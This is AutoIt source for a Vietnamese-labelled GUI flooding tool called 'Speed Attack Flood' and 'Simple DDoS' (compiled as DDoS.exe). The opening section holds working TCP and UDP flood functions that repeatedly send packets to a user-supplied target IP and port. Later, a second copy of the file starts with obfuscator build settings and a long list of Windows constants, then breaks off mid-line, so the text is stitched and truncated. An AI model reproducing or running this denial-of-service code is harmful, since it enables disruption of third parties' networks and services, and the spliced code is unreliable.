20, $ws_disabled) GUICtrlSetBkColor(-1, 49151) GUICtrlCreateLabel("Nhan Du Lieu Flood:", 5, 155) GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang") $connectionslabel = GUICtrlCreateLabel("0", 155, 155, 60) GUICtrlSetFont(-1, 8, 8, 2, "DuyKhang") $ransock = GUICtrlCreateCheckbox("Random Sent Data ", 200, 155) GUICtrlSetState($ransock, $gui_checked) $log = GUICtrlCreateEdit("Speed Attack Flood Version 1.0 Code By DuyKhang-MZG ( Moi Chi tiet thac mac xin lien he : [email protected]!!!", 5, 215, 370, 240, BitOR($ws_vscroll, $es_autovscroll, $es_readonly)) $num = GUICtrlRead($con) GUICtrlSetBkColor(-1, 16745466) Func _addlog($string) $currentlog = GUICtrlRead($log) $newlog = $currentlog & @CRLF & $string GUICtrlSetData($log, $newlog) EndFunc GUISetState() While 1 $msg = GUIGetMsg() If $msg = $gui_event_close Then Exit If $msg = $stop Then $i = $num GUICtrlSetData($connectionslabel, "0") GUICtrlSetState($start, $gui_enable) GUICtrlSetState($stop, $gui_disable) EndIf If $msg = $start Then GUICtrlSetData($log, "Speed Attack Flood Version 1.0 Code By DuyKhang-MZG !!!", "") GUICtrlSetState($start, $gui_disable) GUICtrlSetState($stop, $gui_enable) $sip = GUICtrlRead($ip) $iport = GUICtrlRead($port) $ilength = GUICtrlRead($timeout) $num = GUICtrlRead($con) Local $sock Local $soutbuffer = "D-K MazeGameVN" Global $i = 0 _addlog(@CRLF & "Target: " & $sip & @CRLF & "Port: " & $iport & @CRLF & "Protocol: " & GUICtrlRead($protocol) & @CRLF & "Number: " & $num & @CRLF & "Timeout: " & $ilength & @CRLF) If GUICtrlRead($protocol) = "TCP" Then attacktcp() If GUICtrlRead($protocol) = "UDP" Then attackudp() EndIf WEnd Func attacktcp() Opt("TCPTimeout", $ilength) TCPStartup() While 1 $i = $i + 1 GUICtrlSetData($connectionslabel, $i, "") $sock = TCPConnect(TCPNameToIP($sip), $iport) $send = TCPSend($sock, $soutbuffer) If $i = $num Then ExitLoop _addlog("Sending TCP Packet (" & $send & " bytes) - Socket: " & $sock & " - Port: " & $iport) If GUICtrlRead($ransock) = 4 Then TCPCloseSocket($sock) WEnd If GUICtrlRead($ransock) = 1 Then TCPCloseSocket($sock) _addlog("Done!") $num = GUICtrlRead($con) TCPShutdown() GUICtrlSetState($start, $gui_enable) GUICtrlSetState($stop, $gui_disable) GUICtrlSetData($connectionslabel, "0") EndFunc Func attackudp() UDPStartup() Opt("TCPTimeout", $ilength) TCPStartup() While 1 $i = $i + 1 GUICtrlSetData($connectionslabel, $i, "") $sock = UDPOpen($sip, $iport, 1) Sleep($ilength) $send = UDPSend($sock, $soutbuffer) _addlog("Sending UDP Packet (" & $send & " bytes) - Port: " & $iport) If GUICtrlRead($ransock) = 4 Then UDPCloseSocket($sock) WEnd If GUICtrlRead($ransock) = 1 Then UDPCloseSocket($sock) _addlog("Done!") UDPCloseSocket($sock) $num = GUICtrlRead($con) UDPShutdown() TCPShutdown() GUICtrlSetState($start, $gui_enable) GUICtrlSetState($stop, $gui_disable) GUICtrlSetData($connectionslabel, "0") EndFunc
#Region #AutoIt3Wrapper_Icon=..\..\..\Program Files (x86)\AutoIt3\Icons\filetype-blank.ico #AutoIt3Wrapper_OutFile=DDoS.exe #AutoIt3Wrapper_UseUpx=n #AutoIt3Wrapper_Res_Comment=Simple DDoS #AutoIt3Wrapper_Res_Description=Simple DDoS #AutoIt3Wrapper_Res_Fileversion=1.0 #AutoIt3Wrapper_Res_LegalCopyright=Simple DDoS #AutoIt3Wrapper_Run_Tidy=y #AutoIt3Wrapper_Run_Obfuscator=y #EndRegion Global Const $process_terminate = 1 Global Const $process_create_thread = 2 Global Const $process_set_sessionid = 4 Global Const $process_vm_operation = 8 Global Const $process_vm_read = 16 Global Const $process_vm_write = 32 Global Const $process_dup_handle = 64 Global Const $process_create_process = 128 Global Const $process_set_quota = 256 Global Const $process_set_information = 512 Global Const $process_query_information = 1024 Global Const $process_suspend_resume = 2048 Global Const $process_all_access = 2035711 Func _processgetname($i_pid) If NOT ProcessExists($i_pid) Then Return SetError(1, 0, "") If NOT @error Then Local $a_processes = ProcessList() For $i = 1 To $a_processes[0][0] If $a_processes[$i][1] = $i_pid Then Return $a_processes[$i][0] Next EndIf Return SetError(1, 0, "") EndFunc Func _processgetpriority($vprocess) Local $ierror, $iextended, $ireturn = -1 Local $i_pid = ProcessExists($vprocess) If NOT $i_pid Then Return SetError(1, 0, -1) Local $hdll = DllOpen("kernel32.dll") Do Local $aprocesshandle = DllCall($hdll, "handle", "OpenProcess", "dword", $process_query_information, "bool", False, "dword", $i_pid) If @error Then $ierror = @error $iextended = @extended ExitLoop EndIf If NOT $aprocesshandle[0] Then ExitLoop Local $apriority = DllCall($hdll, "dword", "GetPriorityClass", "handle", $aprocesshandle[0]) If @error Then $ierror = @error $iextended = @extended EndIf DllCall($hdll, "bool", "CloseHandle", "handle", $aprocesshandle[0]) If $ierror Then ExitLoop Switch $apriority[0] Case 64 $ireturn = 0 Case 16384 $ireturn = 1 Case 32 $ireturn = 2 Case 32768 $ireturn = 3 Case 128 $ireturn = 4 Case 256 $ireturn = 5 Case Else $ierror = 1 $iextended = $apriority[0] $ireturn = -1 EndSwitch Until True DllClose($hdll) Return SetError($ierror, $iextended, $ireturn) EndFunc Func _rundos($scommand) Local $nresult = RunWait(@ComSpec & " /C " & $scommand, "", @SW_HIDE) Return SetError(@error, @extended, $nresult) EndFunc Global Const $ws_tiled = 0 Global Const $ws_overlapped = 0 Global Const $ws_maximizebox = 65536 Global Const $ws_minimizebox = 131072 Global Const $ws_tabstop = 65536 Global Const $ws_group = 131072 Global Const $ws_sizebox = 262144 Global Const $ws_thickframe = 262144 Global Const $ws_sysmenu = 524288 Global Const $ws_hscroll = 1048576 Global Const $ws_vscroll = 2097152 Global Const $ws_dlgframe = 4194304 Global Const $ws_border = 8388608 Global Const $ws_caption = 12582912 Global Const $ws_overlappedwindow = 13565952 Global Const $ws_tiledwindow = 13565952 Global Const $ws_maximize = 16777216 Global Const $ws_clipchildren = 33554432 Global Const $ws_clipsiblings = 67108864 Global Const $ws_disabled = 134217728 Global Const $ws_visible = 268435456 Global Const $ws_minimize = 536870912 Global Const $ws_child = 1073741824 Global Const $ws_popup = -2147483648 Global Const $ws_popupwindow = -2138570752 Global Const $ds_modalframe = 128 Global Const $ds_setforeground = 512 Global Const $ds_contexthelp = 8192 Global Const $ws_ex_acceptfiles = 16 Global Const $ws_ex_mdichild = 64 Global Const $ws_ex_appwindow = 262144 Global Const $ws_ex_composited = 33554432 Global Const $ws_ex_clientedge = 512 Global Const $ws_ex_contexthelp = 1024 Global Const $ws_ex_dlgmodalframe = 1 Global Const $ws_ex_leftscrollbar = 16384 Global Const $ws_ex_overlappedwindow = 768 Global Const $ws_ex_right = 4096 Global Const $ws_ex_staticedge = 131072 Global Const $ws_ex_toolwindow = 128 Global Const $ws_ex_topmost = 8 Global Const $ws_ex_transparent = 32 Global Const $ws_ex_windowedge = 256 Global Const $ws_ex_layered = 524288 Global Const $ws_ex_controlparent = 65536 Global Const $ws_ex_layoutrtl = 4194304 Global Const $ws_ex_rtlreading = 8192 Global Const $wm_gettextlength = 14 Global Const $wm_gettext = 13 Global Const $wm_size = 5 Global Const $wm_sizing = 532 Global Const $wm_user = 1024 Global Const $wm_create = 1 Global Const $wm_destroy = 2 Global Const $wm_move = 3 Global Const $wm_activate = 6 Global Const $wm_setfocus = 7 Global Const $wm_killfocus = 8 Global Const $wm_enable = 10 Global Const $wm_setredraw = 11 Global Const $wm_settext = 12 Global Const $wm_paint = 15 Global Const $wm_close = 16 Global Const $wm_queryendsession = 17 Global Const $wm_quit = 18 Global Const $wm_erasebkgnd = 20 Global Const $wm_queryopen = 19 Global Const $wm_syscolorchange = 21 Global Const $wm_endsession = 22 Global Const $wm_showwindow = 24 Global Const $wm_settingchange = 26 Global Const $wm_wininichange = 26 Global Const $wm_devmodechange = 27 Global Const $wm_activateapp = 28 Global Const $wm_fontchange = 29 Global Const $wm_timechange = 30 Global Const $wm_cancelmode = 31 Global Const $wm_ime_startcomposition = 269 Global Const $wm_ime_endcomposition = 270 Global Const $wm_ime_composition = 271 Global Const $wm_ime_keylast = 271 Global Const $wm_setcursor = 32 Global Const $wm_mouseactivate = 33 Global Const $wm_childactivate = 34 Global Const $wm_queuesync = 35 Global Const $wm_getminmaxinfo = 36 Global Const $wm_painticon = 38 Global Const $wm_iconerasebkgnd = 39 Global Const $wm_nextdlgctl = 40 Global Const $wm_spoolerstatus = 42 Global Const $wm_drawitem = 43 Global Const $wm_measureitem = 44 Global Const $wm_deleteitem = 45 Global Const $wm_vkeytoitem = 46 Global Const $wm_chartoitem = 47 Global Const $wm_setfont = 48 Global Const $wm_getfont = 49 Global Const $wm_sethotkey = 50 Global Const $wm_gethotkey = 51 Global Const $wm_querydragicon = 55 Global Const $wm_compareitem = 57 Global Const $wm_getobject = 61 Global Const $wm_compacting = 65 Global Const $wm_commnotify = 68 Global Const $wm_windowposchanging = 70 Global Const $wm_windowposchanged = 71 Global Const $wm_power = 72 Global Const $wm_notify = 78 Global Const $wm_copydata = 74 Global Const $wm_canceljournal = 75 Global Const $wm_inputlangchangerequest = 80 Global Const $wm_inputlangchange = 81 Global Const $wm_tcard = 82 Global Const $wm_help = 83 Global Const $wm_userchanged = 84 Global Const $wm_notifyformat = 85 Global Const $wm_parentnotify = 528 Global Const $wm_entermenuloop = 529 Global Const $wm_exitmenuloop = 530 Global Const $wm_nextmenu = 531 Global Const $wm_capturechanged = 533 Global Const $wm_moving = 534 Global Const $wm_powerbroadcast = 536 Global Const $wm_devicechange = 537 Global Const $wm_mdicreate = 544 Global Const $wm_mdidestroy = 545 Global Const $wm_mdiactivate = 546 Global Const $wm_mdirestore = 547 Global Const $wm_mdinext = 548 Global Const $wm_mdimaximize = 549 Global Const $wm_mditile = 550 Global Const $wm_mdicascade = 551 Global Const $wm_mdiiconarrange = 552 Global Const $wm_mdigetactive = 553 Global Const $wm_mdisetmenu = 560 Global Const $wm_entersizemove = 561 Global Const $wm_exitsizemove = 562 Global Const $wm_dropfiles = 563 Global Const $wm_mdirefreshmenu = 564 Global Const $wm_ime_setcontext = 641 Global Const $wm_ime_notify = 642 Global Const $wm_ime_control = 643 Global Const $wm_ime_compositionfull = 644 Global Const $wm_ime_select = 645 Global Const $wm_ime_char = 646 Global Const $wm_ime_request = 648 Global Const $wm_ime_keydown = 656 Global Const $wm_ime_keyup = 657 Global Const $wm_ncmousehover = 672 Global Const $wm_mousehover = 673 Global Const $wm_ncmouseleave = 674 Global Const $wm_mouseleave = 675 Global Const $wm_wtssession_change = 689 Global Const $wm_tablet_first = 704 Global Const $wm_tablet_last = 735 Global Const $wm_cut = 768 Global Const $wm_copy = 769 Global Const $wm_paste = 770 Global Const $wm_clear = 771 Global Const $wm_undo = 772 Global Const $wm_paletteischanging = 784 Global Const $wm_hotkey = 786 Global Const $wm_palettechanged = 785 Global Const $wm_print = 791 Global Const $wm_printclient = 792 Global Const $wm_appcommand = 793 Global Const $wm_querynewpalette = 783 Global Const $wm_themechanged = 794 Global Const $wm_handheldfirst = 856 Global Const $wm_handheldlast = 863 Global Const $wm_afxfirst = 864 Global Const $wm_afxlast = 895 Global Const $wm_penwinfirst = 896 Global Const $wm_penwinlast = 911 Global Const $wm_contextmenu = 123 Global Const $wm_stylechanging = 124 Global Const $wm_stylechanged = 125 Global Const $wm_displaychange = 126 Global Const $wm_geticon = 127 Global Const $wm_seticon = 128 Global Const $wm_nccreate = 129 Global Const $wm_ncdestroy = 130 Global Const $wm_nccalcsize = 131 Global Const $wm_nchittest = 132 Global Const $wm_ncpaint = 133 Global Const $wm_ncactivate = 134 Global Const $wm_getdlgcode = 135 Global Const $wm_syncpaint = 136 Global Const $wm_ncmousemove = 160 Global Const $wm_nclbuttondown = 161 Global Const $wm_nclbuttonup = 162 Global Const $wm_nclbuttondblclk = 163 Global Const $wm_ncrbuttondown = 164 Global Const $wm_ncrbuttonup = 165 Global Const $wm_ncrbuttondblclk = 166 Global Const $wm_ncmbuttondown = 167 Global Const $wm_ncmbuttonup = 168 Global Const $wm_ncmbuttondblclk = 169 Global Const $wm_ncxbuttondown = 171 Global Const $wm_ncxbuttonup = 172 Global Const $wm_ncxbuttondblclk = 173 Global Const $wm_keydown = 256 Global Const $wm_keyfirst = 256 Global Const $wm_keyup = 257 Global Const $wm_char = 258 Global Const $wm_deadchar = 259 Global Const $wm_syskeydown = 260 Global Const $wm_syskeyup = 261 Global Const $wm_syschar = 262 Global Const $wm_sysdeadchar = 263 Global Const $wm_keylast = 265 Global Const $wm_unichar = 265 Global Const $wm_initdialog = 272 Global Const $wm_command = 273 Global Const $wm_syscommand = 274 Global Const $wm_timer = 275 Global Const $wm_hscroll = 276 Global Const $wm_vscroll = 277 Global Const $wm_initmenu = 278 Global Const $wm_initmenupopup = 279 Global Const $wm_menuselect = 287 Global Const $wm_menuchar = 288 Global Const $wm_enteridle = 289 Global Const $wm_menurbuttonup = 290 Global Const $wm_menudrag = 291 Global Const $wm_menugetobject = 292 Global Const $wm_uninitmenupopup = 293 Global Const $wm_menucommand = 294 Global Const $wm_changeuistate = 295 Global Const $wm_updateuistate = 296 Global Const $wm_queryuistate = 297 Global Const $wm_ctlcolormsgbox = 306 Global Const $wm_ctlcoloredit = 307 Global Const $wm_ctlcolorlistbox = 308 Global Const $wm_ctlcolorbtn = 309 Global Const $wm_ctlcolordlg = 310 Global Const $wm_ctlcolorscrollbar = 311 Global Const $wm_ctlcolorstatic = 312 Global Const $wm_ctlcolor = 25 Global Const $mn_gethmenu = 481 Global Const $wm_app = 32768 Global Const $nm_first = 0 Global Const $nm_outofmemory = $nm_first - 1 Global Const $nm_click = $nm_first - 2 Global Const $nm_dblclk = $nm_first - 3 Global Const $nm_return = $nm_first - 4 Global Const $nm_rclick = $nm_first - 5 Global Const $nm_rdblclk = $nm_first - 6 Global Const $nm_setfocus = $nm_first - 7 Global Const $nm_killfocus = $nm_first - 8 Global Const $nm_customdraw = $nm_first - 12 Global Const $nm_hover = $nm_first - 13 Global Const $nm_nchittest = $nm_first - 14 Global Const $nm_keydown = $nm_first - 15 Global Const $nm_releasedcapture = $nm_first - 16 Global Const $nm_setcursor = $nm_first - 17 Global Const $nm_char = $nm_first - 18 Global Const $nm_tooltipscreated = $nm_first - 19 Global Const $nm_ldown = $nm_first - 20 Global Const $nm_rdown = $nm_first - 21 Global Const $nm_themechanged = $nm_first - 22 Global Const $wm_mousefirst = 512 Global Const $wm_mousemove = 512 Global Const $wm_lbuttondown = 513 Global Const $wm_lbuttonup = 514 Global Const $wm_lbuttondblclk = 515 Global Const $wm_rbuttondown = 516 Global Const $wm_rbuttonup = 517 Global Const $wm_rbuttondblclk = 518 Global Const $wm_mbuttondown = 519 Global Const $wm_mbuttonup = 520 Global Const $wm_mbuttondblclk = 521 Global Const $wm_mousewheel = 522 Global Const $wm_xbuttondown = 523 Global Const $wm_xbuttonup = 524 Global Const $wm_xbuttondblclk = 525 Global Const $wm_mousehwheel = 526 Global Const $ps_solid = 0 Global Const $ps_dash = 1 Global Const $ps_dot = 2 Global Const $ps_dashdot = 3 Global Const $ps_dashdotdot = 4 Global Const $ps_null = 5 Global Const $ps_insideframe = 6 Global Const $lwa_alpha = 2 Global Const $lwa_colorkey = 1 Global Const $rgn_and = 1 Global Const $rgn_or = 2 Global Const $rgn_xor = 3 Global Const $rgn_diff = 4 Global Const $rgn_copy = 5 Global Const $errorregion = 0 Global Const $nullregion = 1 Global Const $simpleregion = 2 Global Const $complexregion = 3 Global Const $transparent = 1 Global Const $opaque = 2 Global Const $ccm_first = 8192 Global Const $ccm_getunicodeformat = ($ccm_first + 6) Global Const $ccm_setunicodeformat = ($ccm_first + 5) Global Const $ccm_setbkcolor = $ccm_first + 1 Global Const $ccm_setcolorscheme = $ccm_first + 2 Global Const $ccm_getcolorscheme = $ccm_first + 3 Global Const $ccm_getdroptarget = $ccm_first + 4 Global Const $ccm_setwindowtheme = $ccm_first + 11 Global Const $ga_parent = 1 Global Const $ga_root = 2 Global Const $ga_rootowner = 3 Global Const $sm_cxscreen = 0 Global Const $sm_cyscreen = 1 Global Const $sm_cxvscroll = 2 Global Const $sm_cyhscroll = 3 Global Const $sm_cycaption = 4 Global Const $sm_cxborder = 5 Global Const $sm_cyborder = 6 Global Const $sm_cxdlgframe = 7 Global Const $sm_cydlgframe = 8 Global Const $sm_cyvthumb = 9 Global Const $sm_cxhthumb = 10 Global Const $sm_cxicon = 11 Global Const $sm_cyicon = 12 Global Const $sm_cxcursor = 13 Global Const $sm_cycursor = 14 Global Const $sm_cymenu = 15 Global Const $sm_cxfullscreen = 16 Global Const $sm_cyfullscreen = 17 Global Const $sm_cykanjiwindow = 18 Global Const $sm_mousepresent = 19 Global Const $sm_cyvscroll = 20 Global Const $sm_cxhscroll = 21 Global Const $sm_debug = 22 Global Const $sm_swapbutton = 23 Global Const $sm_reserved1 = 24 Global Const $sm_reserved2 = 25 Global Const $sm_reserved3 = 26 Global Const $sm_reserved4 = 27 Global Const $sm_cxmin = 28 Global Const $sm_cymin = 29 Global Const $sm_cxsize = 30 Global Const $sm_cysize = 31 Global Const $sm_cxframe = 32 Global Const $sm_cyframe = 33 Global Const $sm_cxmintrack = 34 Global Const $sm_cymintrack = 35 Global Const $sm_cxdoubleclk = 36 Global Const $sm_cydoubleclk = 37 Global Const $sm_cxiconspacing = 38 Global Const $sm_cyiconspacing = 39 Global Const $sm_menudropalignment = 40 Global Const $sm_penwindows = 41 Global Const $sm_dbcsenabled = 42 Global Const $sm_cmousebuttons = 43 Global Const $sm_secure = 44 Global Const $sm_cxedge = 45 Global Const $sm_cyedge = 46 Global Const $sm_cxminspacing = 47 Global Const $sm_cyminspacing = 48 Global Const $sm_cxsmicon = 49 Global Const $sm_cysmicon = 50 Global Const $sm_cysmcaption = 51 Global Const $sm_cxsmsize = 52 Global Const $sm_cysmsize = 53 Global Const $sm_cxmenusize = 54 Global Const $sm_cymenusize = 55 Global Const $sm_arrange = 56 Global Const $sm_cxminimized = 57 Global Const $sm_cyminimized = 58 Global Const $sm_cxmaxtrack = 59 Global Const $sm_cymaxtrack = 60 Global Const $sm_cxmaximized = 61 Global Const $sm_cymaximized = 62 Global Const $sm_network = 63 Global Const $sm_cleanboot = 67 Global Const $sm_cxdrag = 68 Global Const $sm_cydrag = 69 Global Const $sm_showsounds = 70 Global Const $sm_cxmenucheck = 71 Global Const $sm_cymenucheck = 72 Global Const $sm_slowmachine = 73 Global Const $sm_mideastenabled = 74 Global Const $sm_mousewheelpresent = 75 Global Const $sm_xvirtualscreen = 76 Global Const $sm_yvirtualscreen = 77 Global Const $sm_cxvirtualscreen = 78 Global Const $sm_cyvirtualscreen = 79 Global Const $sm_cmonitors = 80 Global Const $sm_samedisplayformat = 81 Global Const $sm_immenabled = 82 Global Const $sm_cxfocusborder = 83 Global Const $sm_cyfocusborder = 84 Global Const $sm_tabletpc = 86 Global Const $sm_mediacenter = 87 Global Const $sm_starter = 88 Global Const $sm_serverr2 = 89 Global Const $sm_cmetrics = 90 Global Const $sm_remotesession = 4096 Global Const $sm_shuttingdown = 8192 Global Const $sm_remotecontrol = 8193 Global Const $sm_caretblinkingenabled = 8194 Global Const $blackness = 66 Global Const $captureblt = 1073741824 Global Const $dstinvert = 5570569 Global Const $mergecopy = 12583114 Global Const $mergepaint = 12255782 Global Const $nomirrorbitmap = -2147483648 Global Const $notsrccopy = 3342344 Global Const $notsrcerase = 1114278 Global Const $patcopy = 15728673 Global Const $patinvert = 5898313 Global Const $patpaint = 16452105 Global Const $srcand = 8913094 Global Const $srccopy = 13369376 Global Const $srcerase = 4457256 Global Const $srcinvert = 6684742 Global Const $srcpaint = 15597702 Global Const $whiteness = 16711778 Global Const $dt_bottom = 8 Global Const $dt_calcrect = 1024 Global Const $dt_center = 1 Global Const $dt_editcontrol = 8192 Global Const $dt_end_ellipsis = 32768 Global Const $dt_expandtabs = 64 Global Const $dt_externalleading = 512 Global Const $dt_hideprefix = 1048576 Global Const $dt_internal = 4096 Global Const $dt_left = 0 Global Const $dt_modifystring = 65536 Global Const $dt_noclip = 256 Global Const $dt_nofullwidthcharbreak = 524288 Global Const $dt_noprefix = 2048 Global Const $dt_path_ellipsis = 16384 Global Const $dt_prefixonly = 2097152 Global Const $dt_right = 2 Global Const $dt_rtlreading = 131072 Global Const $dt_singleline = 32 Global Const $dt_tabstop = 128 Global Const $dt_top = 0 Global Const $dt_vcenter = 4 Global Const $dt_wordbreak = 16 Global Const $dt_word_ellipsis = 262144 Global Const $rdw_erase = 4 Global Const $rdw_frame = 1024 Global Const $rdw_internalpaint = 2 Global Const $rdw_invalidate = 1 Global Const $rdw_noerase = 32 Global Const $rdw_noframe = 2048 Global Const $rdw_nointernalpaint = 16 Global Const $rdw_validate = 8 Global Const $rdw_erasenow = 512 Global Const $rdw_updatenow = 256 Global Const $rdw_allchildren = 128 Global Const $rdw_nochildren = 64 Global Const $wm_renderformat = 773 Global Const $wm_renderallformats = 774 Global Const $wm_destroyclipboard = 775 Global Const $wm_drawclipboard = 776 Global Const $wm_paintclipboard = 777 Global Const $wm_vscrollclipboard = 778 Global Const $wm_sizeclipboard = 779 Global Const $wm_askcbformatname = 780 Global Const $wm_changecbchain = 781 Global Const $wm_hscrollclipboard = 782 Global Const $hterror = -2 Global Const $httransparent = -1 Global Const $htnowhere = 0 Global Const $htclient = 1 Global Const $htcaption = 2 Global Const $htsysmenu = 3 Global Const $htgrowbox = 4 Global Const $htsize = $htgrowbox Global Const $htmenu = 5 Global Const $hthscroll = 6 Global Const $htvscroll = 7 Global Const $htminbutton = 8 Global Const $htmaxbutton = 9 Global Const $htleft = 10 Global Const $htright = 11 Global Const $httop = 12 Global Const $httopleft = 13 Global Const $httopright = 14 Global Const $htbottom = 15 Global Const $htbottomleft = 16 Global Const $htbottomright = 17 Global Const $htborder = 18 Global Const $htreduce = $htminbutton Global Const $htzoom = $htmaxbutton Global Const $htsizefirst = $htleft Global Const $htsizelast = $htbottomright Global Const $htobject = 19 Global Const $htclose = 20 Global Const $hthelp = 21 Global Const $color_scrollbar = 0 Global Const $color_background = 1 Global Const $color_activecaption = 2 Global Const $color_inactivecaption = 3 Global Const $color_menu = 4 Global Const $color_window = 5 Global Const $color_windowframe = 6 Global Const $color_menutext = 7 Global Const $color_windowtext = 8 Global Const $color_captiontext = 9 Global Const $color_activeborder = 10 Global Const $color_inactiveborder = 11 Global Const $color_appworkspace = 12 Global Const $color_highlight = 13 Global Const $color_highlighttext = 14 Global Const $color_btnface = 15 Global Const $color_btnshadow = 16 Global Const $color_graytext = 17 Global Const $color_btntext = 18 Global Const $color_inactivecaptiontext = 19 Global Const $color_btnhighlight = 20 Global Const $color_3ddkshadow = 21 Global Const $color_3dlight = 22 Global Const $color_infotext = 23 Global Const $color_infobk = 24 Global Const $color_hotlight = 26 Global Const $color_gradientactivecaption = 27 Global Const $color_gradientinactivecaption = 28 Global Const $color_menuhilight = 29 Global Const $color_menubar = 30 Global Const $color_desktop = 1 Global Const $color_3dface = 15 Global Const $color_3dshadow = 16 Global Const $color_3dhighlight = 20 Global Const $color_3dhilight = 20 Global Const $color_btnhilight = 20 Global Const $hinst_commctrl = -1 Global Const $idb_std_small_color = 0 Global Const $idb_std_large_color = 1 Global Const $idb_view_small_color = 4 Global Const $idb_view_large_color = 5 Global Const $idb_hist_small_color = 8 Global Const $idb_hist_large_color = 9 Global Const $startf_forceofffeedback = 128 Global Const $startf_forceonfeedback = 64 Global Const $startf_runfullscreen = 32 Global Const $startf_usecountchars = 8 Global Const $startf_usefillattribute = 16 Global Const $startf_usehotkey = 512 Global Const $startf_useposition = 4 Global Const $startf_useshowwindow = 1 Global Const $startf_usesize = 2 Global Const $startf_usestdhandles = 256 Global Const $cdds_prepaint = 1 Global Const $cdds_postpaint = 2 Global Const $cdds_preerase = 3 Global Const $cdds_posterase = 4 Global Const $cdds_item = 65536 Global Const $cdds_itemprepaint = 65537 Global Const $cdds_itempostpaint = 65538 Global Const $cdds_itempreerase = 65539 Global Const $cdds_itemposterase = 65540 Global Const $cdds_subitem = 131072 Global Const $cdis_selected = 1 Global Const $cdis_grayed = 2 Global Const $cdis_disabled = 4 Global Const $cdis_checked = 8 Global Const $cdis_focus = 16 Global Const $cdis_default = 32 Global Const $cdis_hot = 64 Global Const $cdis_marked = 128 Global Const $cdis_indeterminate = 256 Global Const $cdis_showkeyboardcues = 512 Global Const $cdis_nearhot = 1024 Global Const $cdis_othersidehot = 2048 Global Const $cdis_drophilited = 4096 Global Const $cdrf_dodefault = 0 Global Const $cdrf_newfont = 2 Global Const $cdrf_skipdefault = 4 Global Const $cdrf_notifypostpaint = 16 Global Const $cdrf_notifyitemdraw = 32 Global Const $cdrf_notifysubitemdraw = 32 Global Const $cdrf_notifyposterase = 64 Global Const $cdrf_doerase = 8 Global Const $cdrf_skippostpaint = 256 Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu) Global Const $gui_event_close = -3 Global Const $gui_event_minimize = -4 Global Const $gui_event_restore = -5 Global Const $gui_event_maximize = -6 Global Const $gui_event_primarydown = -7 Global Const $gui_event_primaryup = -8 Global Const $gui_event_secondarydown = -9 Global Const $gui_event_secondaryup = -10 Global Const $gui_event_mousemove = -11 Global Const $gui_event_resized = -12 Global Const $gui_event_dropped = -13 Global Const $gui_rundefmsg = "GUI_RUNDEFMSG" Global Const $gui_avistop = 0 Global Const $gui_avistart = 1 Global Const $gui_aviclose = 2 Global Const $gui_checked = 1 Global Const $gui_indeterminate = 2 Global Const $gui_unchecked = 4 Global Const $gui_dropaccepted = 8 Global Const $gui_nodropaccepted = 4096 Global Const $gui_acceptfiles = $gui_dropaccepted Global Const $gui_show = 16 Global Const $gui_hide = 32 Global Const $gui_enable = 64 Global Const $gui_disable = 128 Global Const $gui_focus = 256 Global Const $gui_nofocus = 8192 Global Const $gui_defbutton = 512 Global Const $gui_expand = 1024 Global Const $gui_ontop = 2048 Global Const $gui_fontitalic = 2 Global Const $gui_fontunder = 4 Global Const $gui_fontstrike = 8 Global Const $gui_dockauto = 1 Global Const $gui_dockleft = 2 Global Const $gui_dockright = 4 Global Const $gui_dockhcenter = 8 Global Const $gui_docktop = 32 Global Const $gui_dockbottom = 64 Global Const $gui_dockvcenter = 128 Global Const $gui_dockwidth = 256 Global Const $gui_dockheight = 512 Global Const $gui_docksize = 768 Global Const $gui_dockmenubar = 544 Global Const $gui_dockstatebar = 576 Global Const $gui_dockall = 802 Global Const $gui_dockborders = 102 Global Const $gui_gr_close = 1 Global Const $gui_gr_line = 2 Global Const $gui_gr_bezier = 4 Global Const $gui_gr_move = 6 Global Const $gui_gr_color = 8 Global Const $gui_gr_rect = 10 Global Const $gui_gr_ellipse = 12 Global Const $gui_gr_pie = 14 Global Const $gui_gr_dot = 16 Global Const $gui_gr_pixel = 18 Global Const $gui_gr_hint = 20 Global Const $gui_gr_refresh = 22 Global Const $gui_gr_pensize = 24 Global Const $gui_gr_nobkcolor = -2 Global Const $gui_bkcolor_default = -1 Global Const $gui_bkcolor_transparent = -2 Global Const $gui_bkcolor_lv_alternate = -33554432 Global Const $gui_ws_ex_parentdrag = 1048576 Global Const $cb_err = -1 Global Const $cb_errattribute = -3 Global Const $cb_errrequired = -4 Global Const $cb_errspace = -2 Global Const $cb_okay = 0 Global Const $state_system_invisible = 32768 Global Const $state_system_pressed = 8 Global Const $cbs_autohscroll = 64 Global Const $cbs_disablenoscroll = 2048 Global Const $cbs_dropdown = 2 Global Const $cbs_dropdownlist = 3 Global Const $cbs_hasstrings = 512 Global Const $cbs_lowercase = 16384 Global Const $cbs_nointegralheight = 1024 Global Const $cbs_oemconvert = 128 Global Const $cbs_ownerdrawfixed = 16 Global Const $cbs_ownerdrawvariable = 32 Global Const $cbs_simple = 1 Global Const $cbs_sort = 256 Global Const $cbs_uppercase = 8192 Global Const $cbm_first = 5888 Global Const $cb_addstring = 323 Global Const $cb_deletestring = 324 Global Const $cb_dir = 325 Global Const $cb_findstring = 332 Global Const $cb_findstringexact = 344 Global Const $cb_getcomboboxinfo = 356 Global Const $cb_getcount = 326 Global Const $cb_getcuebanner = ($cbm_first + 4) Global Const $cb_getcursel = 327 Global Const $cb_getdroppedcontrolrect = 338 Global Const $cb_getdroppedstate = 343 Global Const $cb_getdroppedwidth = 351 Global Const $cb_geteditsel = 320 Global Const $cb_getextendedui = 342 Global Const $cb_gethorizontalextent = 349 Global Const $cb_getitemdata = 336 Global Const $cb_getitemheight = 340 Global Const $cb_getlbtext = 328 Global Const $cb_getlbtextlen = 329 Global Const $cb_getlocale = 346 Global Const $cb_getminvisible = 5890 Global Const $cb_gettopindex = 347 Global Const $cb_initstorage = 353 Global Const $cb_limittext = 321 Global Const $cb_resetcontent = 331 Global Const $cb_insertstring = 330 Global Const $cb_selectstring = 333 Global Const $cb_setcuebanner = ($cbm_first + 3) Global Const $cb_setcursel = 334 Global Const $cb_setdroppedwidth = 352 Global Const $cb_seteditsel = 322 Global Const $cb_setextendedui = 341 Global Const $cb_sethorizontalextent = 350 Global Const $cb_setitemdata = 337 Global Const $cb_setitemheight = 339 Global Const $cb_setlocale = 345 Global Const $cb_setminvisible = 5889 Global Const $cb_settopindex = 348 Global Const $cb_showdropdown = 335 Global Const $cbn_closeup = 8 Global Const $cbn_dblclk = 2 Global Const $cbn_dropdown = 7 Global Const $cbn_editchange = 5 Global Const $cbn_editupdate = 6 Global Const $cbn_errspace = (-1) Global Const $cbn_killfocus = 4 Global Const 